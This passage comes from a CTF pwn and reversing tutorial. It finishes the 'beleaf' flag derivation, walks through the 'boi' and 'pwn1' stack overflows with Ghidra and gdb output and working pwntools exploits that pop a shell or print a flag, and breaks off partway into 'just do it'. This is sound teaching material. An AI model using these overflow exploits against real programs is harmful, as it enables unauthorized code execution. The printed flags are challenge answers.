        003014eb 00              ??         00h
        003014ec 00              ??         00h
        003014ed 00              ??         00h
        003014ee 00              ??         00h
        003014ef 00              ??         00h
        003014f0 11              ??         11h
        003014f1 00              ??         00h
        003014f2 00              ??         00h
        003014f3 00              ??         00h
        003014f4 00              ??         00h
        003014f5 00              ??         00h
        003014f6 00              ??         00h
        003014f7 00              ??         00h
        003014f8 27              ??         27h    '
        003014f9 00              ??         00h
        003014fa 00              ??         00h
        003014fb 00              ??         00h
        003014fc 00              ??         00h
        003014fd 00              ??         00h
        003014fe 00              ??         00h
        003014ff 00              ??         00h
        00301500 02              ??         02h
```

So here we see that our first output has to be equal to `0x1`, our second has to be `0x9`, our third has to be `0x11`, and so on and so forth. Looking at the `transformFunc`, we see this:

```
long transformFunc(char input)

{
  long i;

  i = 0;
  while ((i != -1 && ((int)input != *(int *)(&lookup + i * 4)))) {
    if ((int)input < *(int *)(&lookup + i * 4)) {
      i = i * 2 + 1;
    }
    else {
      if (*(int *)(&lookup + i * 4) < (int)input) {
        i = (i + 1) * 2;
      }
    }
  }
  return i;
}
```

Here we can see that it essentially just takes a character, and looks at what it's index is in the `lookup` bss array. The characters are stored at offsets of `4` bytes. Let's take a look at the array:

```
                             lookup
XREF[6]:     transformFunc:00100820(*),

transformFunc:00100827(R),

transformFunc:00100844(*),

transformFunc:0010084b(R),

transformFunc:00100873(*),

transformFunc:0010087a(R)
        00301020 77             ??          77h    w
        00301021 00             ??          00h
        00301022 00             ??          00h
        00301023 00             ??          00h
        00301024 66             ??          66h    f
        00301025 00             ??          00h
        00301026 00             ??          00h
        00301027 00             ??          00h
        00301028 7b             ??          7Bh    {
        00301029 00             ??          00h
        0030102a 00             ??          00h
        0030102b 00             ??          00h
        0030102c 5f             ??          5Fh    _
        0030102d 00             ??          00h
        0030102e 00             ??          00h
        0030102f 00             ??          00h
        00301030 6e             ??          6Eh    n
        00301031 00             ??          00h
        00301032 00             ??          00h
        00301033 00             ??          00h
        00301034 79             ??          79h    y
        00301035 00             ??          00h
        00301036 00             ??          00h
        00301037 00             ??          00h
        00301038 7d             ??          7Dh    }
        00301039 00             ??          00h
        0030103a 00             ??          00h
        0030103b 00             ??          00h
        0030103c ff             ??          FFh
        0030103d ff             ??          FFh
        0030103e ff             ??          FFh
        0030103f ff             ??          FFh
        00301040 62             ??          62h    b
        00301041 00             ??          00h
        00301042 00             ??          00h
        00301043 00             ??          00h
        00301044 6c             ??          6Ch    l
        00301045 00             ??          00h
        00301046 00             ??          00h
        00301047 00             ??          00h
```

```
00301048 72              ??         72h    r
00301049 00              ??         00h
0030104a 00              ??         00h
0030104b 00              ??         00h
0030104c ff              ??         FFh
0030104d ff              ??         FFh
0030104e ff              ??         FFh
0030104f ff              ??         FFh
00301050 ff              ??         FFh
00301051 ff              ??         FFh
00301052 ff              ??         FFh
00301053 ff              ??         FFh
00301054 ff              ??         FFh
00301055 ff              ??         FFh
00301056 ff              ??         FFh
00301057 ff              ??         FFh
00301058 ff              ??         FFh
00301059 ff              ??         FFh
0030105a ff              ??         FFh
0030105b ff              ??         FFh
0030105c ff              ??         FFh
0030105d ff              ??         FFh
0030105e ff              ??         FFh
0030105f ff              ??         FFh
00301060 ff              ??         FFh
00301061 ff              ??         FFh
00301062 ff              ??         FFh
00301063 ff              ??         FFh
00301064 61              ??         61h    a
00301065 00              ??         00h
00301066 00              ??         00h
00301067 00              ??         00h
00301068 65              ??         65h    e
00301069 00              ??         00h
0030106a 00              ??         00h
0030106b 00              ??         00h
0030106c 69              ??         69h    i
```

Here we can see that the character `f` is stored at `00301024`. This will output `1` since `((0x00301024 - 0x00301020) / 4) = 1` (`0x00301020` is the start of the array). This also corresponds to the first byte of the `desiredOutput` array, since it is `1`. The second byte is `0x9`, so the character that should correspond to it is `(0x00301020 + (4*9)) = 0x301044`, and we can see that the character there is `l`:

```
00301044 6c              ??         6Ch    l
00301045 00              ??         00h
00301046 00              ??         00h
00301047 00              ??         00h
00301048 72              ??         72h    r
```

So the second character is `l`. Moving on through the rest of the list, we can find the full string `flag{we_beleaf_in_your_re_future}`:

```
$    ./beleaf
Enter the flag
>>> flag{we_beleaf_in_your_re_future}
Correct!
```

Just like that, we solved the challenge!

Csaw 2018 Quals Boi

Let's take a look at the binary:

```
$    file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
$    pwn checksec boi [*] '/Hackery/pod/modules/bof_variable/csaw18_boi/boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./boi
Are you a big boiiiii??
15935728
Mon Jun 10 22:07:51 EDT 2019
```

So we can see that we are dealing with a 64 bit binary with a Stack Canary and Non-Executable stack (those are two binary mitigations that will be discussed later). When we run the binary, we see that we are prompted for input (which we gave it `15935728`). It then provided us with the time and the date. When we look at the main function in Ghidra we see this:

```
undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 input;
  undefined8 local_30;
  undefined4 uStack40;
  int target;
  long stackCanary;

  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  input = 0;
  local_30 = 0;
  uStack40 = 0;
  target = -0x21524111;
  puts("Are you a big boiiiii??");
  read(0,&input,0x18);
  if (target == -0x350c4512) {
    run_cmd("/bin/bash");
  }
  else {
    run_cmd("/bin/date");
  }
  if (stackCanary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see the program prints the string `Are you a big boiiiii??` with `puts`. Then it proceeds to scan in `0x18` bytes worth of data into `input`. In addition to that we can see that the `target` integer is initialized before the `read` call, then compared to a value after the `read` call. Looking at the decompiled code shows us the constants it is assigned and compared to as signed integers, however if we look at the assembly code we can see the constants as unsigned hex integers:

We can see that the value that it is being assigned is `0xdeadbeef`:

```
        0040067e c7 45 e4        MOV        dword ptr [RBP + target],0xdeadbeef
                 ef be ad de
```

We can also see that the value that it is being compared to is `0xcaf3baee`:

```
        004006a5 8b 45 e4        MOV        EAX,dword ptr [RBP + target]
        004006a8 3d ee ba        CMP        EAX,0xcaf3baee
                 f3 ca
```

Now to see what our input can reach, we can look at the stack layout in Ghidra. To see this you can just double click on any of the variables where they are declared:

```
**************************************************************
                             *                           FUNCTION
*

**************************************************************
                             undefined8 __stdcall main(void)
             undefined8        RAX:8          <RETURN>
             undefined8        Stack[-0x10]:8 local_10
XREF[2]:     00400659(W),

004006ca(R)
             int               Stack[-0x24]:4 target
XREF[2]:     0040067e(W),

004006a5(R)
             undefined8        Stack[-0x30]:8 local_30
XREF[1]:     00400667(W)
             undefined8        Stack[-0x38]:8 input
XREF[2]:     0040065f(W),

0040068f(*)
             undefined4        Stack[-0x3c]:4 local_3c
XREF[1]:     00400649(W)
             undefined8        Stack[-0x48]:8 local_48
XREF[1]:     0040064c(W)
             long              HASH:5f6c2e9   stackCanary
                             main
XREF[5]:     Entry Point(*),

_start:0040054d(*),

_start:0040054d(*), 004007b4,

00400868(*)
        00400641 55             PUSH       RBP
```

Here we can see that according to Ghidra input is stored at offset `-0x38`. We can see that target is stored at offset `-0x24`. This means that there is a `0x14` byte difference between the two values. Sice we can write `0x18` bytes, that means we can fill up the `0x14` byte difference and overwrite four bytes (`0x18 - 0x14 = 4`) of `target`, and since integers are four bytes we can overwrite. Here the bug is it is letting us write `0x18` bytes worth of data to a `0x14` byte space, and `0x4` bytes of data are overflowing into the `target` variable which gives us the ability to change what it is. Taking a look at the memory layout in gdb gives us a better description. We set a breakpoint for directly after the `read` call and see what the memory looks like:

```
gdb ./boi
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./boi...(no debugging symbols found)...done.
gef➤  b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤  r
Starting program: /Hackery/pod/modules/bof_variable/csaw18_boi/boi
Are you a big boiiiii??
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9
$rbx   : 0x0
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007fffffffde80  →  "15935728"
$rdi   : 0x0
$rip   : 0x00000000004006a5  →  <main+100> mov eax, DWORD PTR [rbp-0x1c]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x3
$r11   : 0x246
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
```

```
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: "15935728"     ← $rsi
0x00007fffffffde88│+0x0018: 0x000000000000000a
0x00007fffffffde90│+0x0020: 0xdeadbeef00000000
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0xd268c12ac770ee00
──────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400698 <main+87>        mov    rsi, rax
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
 →   0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
     0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
─────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a5 in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde80 - 0x7fffffffde88  →   "15935728"
gef➤  x/10g 0x7fffffffde80
0x7fffffffde80:    0x3832373533393531    0xa
0x7fffffffde90:    0xdeadbeef00000000    0x0
0x7fffffffdea0:    0x7fffffffdf90    0xd268c12ac770ee00
0x7fffffffdeb0:    0x4006e0    0x7ffff7a05b97
0x7fffffffdec0:    0x0    0x7fffffffdf98
```

Here we can see that our input `15935728` is `0x14` bytes away. When we give the input `00000000000000000000` + p32(`0xcaf3baee`). We need the hex address to be in least endian (least significant byte first) because that is how the elf will read in data, so we have to pack it that way in order for the binary to read it properly:

```
$    python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' > input
$    gdb ./boi
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./boi...(no debugging symbols found)...done.
gef➤  b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤  r < input
Starting program: /Hackery/pod/modules/bof_variable/csaw18_boi/boi < input
Are you a big boiiiii??
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18
$rbx   : 0x0
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007fffffffde80  →  0x3030303030303030 ("00000000"?)
$rdi   : 0x0
$rip   : 0x00000000004006a5  →  <main+100> mov eax, DWORD PTR [rbp-0x1c]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x3
$r11   : 0x246
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
```

```
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: 0x3030303030303030     ← $rsi
0x00007fffffffde88│+0x0018: 0x3030303030303030
0x00007fffffffde90│+0x0020: 0xcaf3baee30303030
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0x8c0a95a9bb51c400
──────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400698 <main+87>        mov    rsi, rax
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
 →   0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
     0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
─────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a5 in main ()
gef➤  search-pattern 0000000000
[+] Searching '0000000000' in memory
[+] In '/lib/x86_64-linux-gnu/libc-2.27.so'(0x7ffff79e4000-0x7ffff7bcb000),
permission=r-x
  0x7ffff7ba0030 - 0x7ffff7ba003a  →   "0000000000[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde80 - 0x7fffffffde8a  →   "0000000000[...]"
  0x7fffffffde8a - 0x7fffffffde94  →   "0000000000[...]"
gef➤  x/10g 0x7fffffffde80
0x7fffffffde80:    0x3030303030303030    0x3030303030303030
0x7fffffffde90:    0xcaf3baee30303030    0x0
0x7fffffffdea0:    0x7fffffffdf90    0x8c0a95a9bb51c400
0x7fffffffdeb0:    0x4006e0    0x7ffff7a05b97
0x7fffffffdec0:    0x0    0x7fffffffdf98
```

Here we can see that we have overwritten the integer with the value `0xcaf3baee`. When we continue onto the `cmp` instruction, we can see that we will pass the check:

```
gef➤  b *0x4006a8
Breakpoint 2 at 0x4006a8
gef➤  c
Continuing.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0xcaf3baee
$rbx   : 0x0
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007fffffffde80  →  0x3030303030303030 ("00000000"?)
$rdi   : 0x0
$rip   : 0x00000000004006a8  →  <main+103> cmp eax, 0xcaf3baee
$r8    : 0x0
$r9    : 0x0
$r10   : 0x3
$r11   : 0x246
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →
"/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: 0x3030303030303030     ← $rsi
0x00007fffffffde88│+0x0018: 0x3030303030303030
0x00007fffffffde90│+0x0020: 0xcaf3baee30303030
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0x8c0a95a9bb51c400
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
     0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
 →   0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
     0x4006bb <main+122>       mov    edi, 0x400786
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a8 → main()
```

```
Breakpoint 2, 0x00000000004006a8 in main ()
gef➤  p $eax
$1 = 0xcaf3baee
```

With all of that, we can write an exploit for this challenge:

```
# Import pwntools
from pwn import *

# Establish the target process
target = process('./boi')

# Make the payload
# 0x14 bytes of filler data to fill the gap between the start of our input
# and the target int
# 0x4 byte int we will overwrite target with
payload = "0"*0x14 + p32(0xcaf3baee)

# Send the payload
target.send(payload)

# Drop to an interactive shell so we can interact with our shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './boi': pid 9075
[*] Switching to interactive mode
Are you a big boiiiii??
$ w
 23:37:29 up  3:37,  1 user,  load average: 0.81, 0.80, 0.85
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:00   ?xdm?  22:41   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
boi  exploit.py  input    Readme.md
```

Just like that, we popped a shell!

Tamu19 pwn1

Let's take a look at the binary:

```
$    file pwn1
pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 3.2.0,
BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
$    pwn checksec pwn1
[*] '/Hackery/pod/modules/bof_variable/tamu19_pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three,
ere the other side he see.
What... is your name?
15935728
I don't know that! Auuuuuuugh!
```

So we can see that it is a `32` bit binary with RELRO, a Non-Executable Stack, and PIE (those binary mitigations will be discussed later). We can see that when we run the binary, it prompts us for input, and prints some text. When we take a look at the main function in Ghidra we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x000108bb) */

undefined4 main(void)

{
  int strcmpResult0;
  int strcmpResult1;
  char input [43];

  setvbuf(stdout,(char *)0x2,0,0);
  puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions
three, ere theother side he see."
      );
  puts("What... is your name?");
  fgets(input,0x2b,stdin);
  strcmpResult0 = strcmp(input,"Sir Lancelot of Camelot\n");
  if (strcmpResult0 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is your quest?");
  fgets(input,0x2b,stdin);
  strcmpResult1 = strcmp(input,"To seek the Holy Grail.\n");
  if (strcmpResult1 == 0) {
    puts("What... is my secret?");
    gets(input);
    puts("I don\'t know that! Auuuuuuuugh!");
    return 0;
  }
  puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So right off the back, we can see we are dealing with a reference to one of the greatest movies ever (Monty Python and the Holy Grail). We can see that it will scan in input into `input` using `fgets`, then compares our input with `strcmp`. It does this twice. The first time it checks for the string `Sir Lancelot of Camelot\n` and the second time it checks for the string `To seek the Holy Grail.\n`. If we don't pass the check the first time, it will print `I don\'t know that! Auuuuuuuugh!` and exit. For the second check if we pass it, the code will call the function `gets` with `input` as an argument. The function `gets` will scan in data until it either gets a newline character or an EOF. As a result on paper there is no limit to how much it can scan into memory. Since the are it is scanning into is finite, we will be able to overflow it and start overwriting subsequent things in memory.

Also looking at the assembly code for around the `gets` call, we see something interesting that the decompiled code doesn't show us:

```
        000108aa e8 71 fc        CALL       gets
char * gets(char * __s)
                 ff ff
        000108af 83 c4 10        ADD        ESP,0x10
        000108b2 81 7d f0        CMP        dword ptr [EBP +
local_18],0xdea110c8
                 c8 10 a1 de
        000108b9 75 07           JNZ        LAB_000108c2
        000108bb e8 3d fe        CALL       print_flag
undefined print_flag()
                 ff ff
```

So we can see that it compares the contents of `local_18` to `0xdea110c8`, and if it is equal (which would mean it's zero) it calls the `print_flag` function. Looking at the decompiled code for `print_flag`, we see that it prints the contents of `flag.txt`:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void print_flag(void)

{
  FILE *flagFile;
  int flag;

  puts("Right. Off you go.");
  flagFile = fopen("flag.txt","r");
  while( true ) {
    flag = _IO_getc((_IO_FILE *)flagFile);
    if ((char)flag == -1) break;
    putchar((int)(char)flag);
  }
  putchar(10);
  return;
}
```

So if we can use the `gets` call to overwrite the contents of `local_18` to `0xdea110c8`, we should get the flag (if you're running this locally you will need to have a copy of `flag.txt` that is in the same directory as the binary). So in order to reach the `gets` call, we will need to send the program the string `Sir Lancelot of Camelot\n` and `To seek the Holy Grail.\n`. Looking at the stack layout in Ghidra (we can see it by double clicking on any of the variables in the variable declarations for the main function) shows us the offset between the start of our input and `local_18`:

```
**************************************************************
                             *                           FUNCTION
*

**************************************************************
                             undefined main(undefined1 param_1)
             undefined         AL:1           <RETURN>
XREF[2]:     00010807(W),

00010869(W)
             undefined1        Stack[0x4]:1   param_1
XREF[1]:     00010779(*)
             int               EAX:4          strcmpResult0
XREF[1]:     00010807(W)
             int               EAX:4          strcmpResult1
XREF[1]:     00010869(W)
             undefined4        Stack[0x0]:4   local_res0
XREF[1]:     00010780(R)
             undefined1        Stack[-0x10]:1 local_10
XREF[1]:     000108d9(*)
             undefined4        Stack[-0x14]:4 local_14
XREF[1]:     000107ad(W)
             undefined4        Stack[-0x18]:4 local_18
XREF[2]:     000107b4(W),

000108b2(R)
             char[43]          Stack[-0x43]   input
XREF[5]:     000107ed(*),

00010803(*),

0001084f(*),

00010865(*),

000108a6(*)
                             main
XREF[5]:     Entry Point(*),

_start:000105e6(*), 00010ab8,

00010b4c(*), 00011ff8(*)
        00010779 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]
```

So we can see that `input` starts at offset `-0x43`. We see that `local_18` starts at offset `-0x18`. This gives us an offset of `0x43 - 0x18 = 0x2b` between the start of our input and `local_18`. Then we can just overflow it (write more data to a region than it can hold, so it spills over and starts overwriting subsequent things in memory) and overwrite `local_18` with `0xdea110c8`. Putting it all together we get the following exploit:

```
# Import pwntools
from pwn import *

# Establish the target process
target = process('./pwn1')

# Make the payload
payload = ""
payload += "0"*0x2b # Padding to `local_18`
payload += p32(0xdea110c8) # the value we will overwrite local_18 with, in little endian

# Send the strings to reach the gets call
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")

# Send the payload
target.sendline(payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './pwn1': pid 12060
[*] Switching to interactive mode
[*] Process './pwn1' stopped with exit code 0 (pid 12060)
Stop! Who would cross the Bridge of Death must answer me these questions three,
ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz}

[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Just like that, we got the flag!

Just Do It!

This was originally a pwn challenge from the TokyoWesterns 2017 ctf.

Let's take a look at the binary:

```
$    file just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa: ELF
32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
```

```
$    pwn checksec just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
[*] '/Hackery/west/doit/just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

So we can see that it is a 32 bit binary, with a non executable stack. Let's try to run it.

```
$    ./just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
file open error.
: No such file or directory
```

So it is complaining about a file opening error, probably trying to open a file that isn't there. Let's look at the main function in Ghidra:

```
undefined4 main(void)

{
  char local_EAX_154;
  FILE *flagFile;
  int cmp;
  char vulnBuf [16];
  FILE *flagHandle;
  char *target;

  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  target = failed_message;
  flagFile = fopen("flag.txt","r");
  if (flagFile == (FILE *)0x0) {
    perror("file open error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _local_EAX_154 = fgets(flag,0x30,flagFile);
  if (_local_EAX_154 == (char *)0x0) {
    perror("file read error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Welcome my secret service. Do you know the password?");
  puts("Input the password.");
  _local_EAX_154 = fgets(vulnBuf,0x20,stdin);
  if (_local_EAX_154 == (char *)0x0) {
    perror("input error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  cmp = strcmp(vulnBuf,PASSWORD);
  if (cmp == 0) {
    target = success_message;
  }
  puts(target);
  return 0;
}
```

So we can see that the file it is trying to open is `flag.txt`. We can also see that this binary will essentially prompt you for a password, and if it is the right password it will print in a logged in message. If not it will print an authentication error. Let's see what the value of `PASSWORD` is, so we can know what we need to set our input equal to to pass the check:

```
                                PASSWORD
XREF[2]:     Entry Point(*), main:080486d0(R)
        0804a03c c8 87 04 08     addr       s_P@SSW0RD_080487c8
= "P@SSW0RD"
```

So we can see that the string it is checking for is `P@SSW0RD`. Now since our input is being scanned in through an fgets call, a newline character `0x0a` will be appended to the end. So in order to pass the check we will need to put a null byte after `P@SSW0RD`.

```
$    python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!
```

So we passed the check, however that doesn't solve the challenge. We can see that with the fgets call, we can input 32 bytes worth of data into `input`. Let's see how many bytes `input` can hold:

```
                              **************************************************************
                              *                          FUNCTION
*
                              **************************************************************
                              undefined main(undefined1 param_1)
             undefined         AL:1           <RETURN>
XREF[1]:     0804861d(W)
